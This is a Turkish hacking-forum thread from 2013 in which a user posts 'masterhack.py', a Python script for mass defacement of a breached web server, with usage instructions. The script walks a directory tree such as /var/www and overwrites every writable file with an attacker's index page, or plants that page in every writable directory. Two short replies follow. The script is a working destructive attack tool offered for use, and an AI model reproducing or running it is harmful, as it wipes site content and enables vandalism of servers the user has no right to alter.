İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

Toplu index Basma Python

05-07-2013 23:49
#1
Special Player - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
01/2013
Nereden:
Love MyBB
Mesajlar:
259
Teşekkür (Etti):
1
Teşekkür (Aldı):
44
Konular:
101
Ticaret:
(0) %


Girdiğiniz serverda, yazılabilir dosya ve dizinlere indexinizi kopyalayacak bir python betiktir.

Kullanımı :

-r, ROOT

Taranmasını istediğiniz dizinin yolunu yazın. Parametreyi kullanmazsanız scripti çalıştırdığınız dizinden başlanır.

-c, CIKTI

Taranan dizinlerin ve dosyaların çıktısını istiyorsanız bu parametreyi kullanın. Daha sonraki parametreyle çıktıyı dosyaya mı yoksa ekrana mı istediğinizi belirtebilirsiniz.

-o, OUTPUT

Önceki parametrede bahsettiğim gibi çıktıyı almak istediğiniz dosya ismini belirtebilirsiniz. Belirtmezseniz ve -c parametresini kullanırsanız ekrana yazacaktır.

-t, TARA

Taranacak tipi belirler. dosya ve dizin olmak üzere iki tip mevcuttur. Dosya derseniz index atarken yazma izni olan dosyaların üzerine yazar. Dizin derseniz yazma izni olan dizinlerde index dosyasının ismiyle ve içeriğiyle yeni bir dosya oluşturur. İkisini bir arada kullanabilirsiniz.

-i, INDEX

Eğer taranan dosya veya dizinlere index atmak istiyorsanız index dosyasının yolunu belirtin.

Örnek kullanım :

Kod: [Seç]
python masterhack.py -t dosya dizin -c -i mhtindex.html -r /var/www

Python Kodları :

Kod:
import os, argparse, sys

parser = argparse.ArgumentParser()
parser.add_argument('-r', dest='root', default='.')
parser.add_argument('-c', dest="cikti", action='store_true', default=False)
parser.add_argument('-t', dest='tara', nargs="+", choices=['dosya', 'dizin'], required=True)
parser.add_argument('-o', dest="output", type=argparse.FileType('w'), default=sys.stdout)
parser.add_argument('-i', dest='index', type=argparse.FileType('r'), default=False)


args = parser.parse_args()

writable = [os.path.join(root, path) for (root, dirs, files) in os.walk(args.root) for path in files+dirs if os.access(os.path.join(root, path), os.W_OK)]
writableFiles = [file for file in writable if os.path.isfile(file)]
writableDirs = [dir for dir in writable if os.path.isdir(dir)]

indexSource = args.index.read()

if 'dosya' in args.tara:
if args.index:
  for file in writableFiles:
   print >> open(file, 'w+'), indexSource

if args.cikti:
  print >> args.output, "\n".join(writableFiles)

if 'dizin' in args.tara:
if args.index:
  for dir in writableDirs:
   print >> open(os.path.join(dir, args.index.name), 'w+'), indexSource

if args.cikti:
  print >> args.output, "\n".join(writableDirs)






06-07-2013 00:36
#2
Üyelik tarihi:
06/2013
Mesajlar:
49
Teşekkür (Etti):
3
Teşekkür (Aldı):
0
Konular:
15
Ticaret:
(0) %
güzel..
07-07-2013 17:28
#3
Dexterli - ait Kullanıcı Resmi (Avatar)
Tasarımcı
Üyelik tarihi:
05/2013
Nereden:
antalya
Mesajlar:
2.537
Teşekkür (Etti):
1500
Teşekkür (Aldı):
1931
Konular:
271
Ticaret:
(0) %
alıntı yazsaydın bu konu benimdi

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı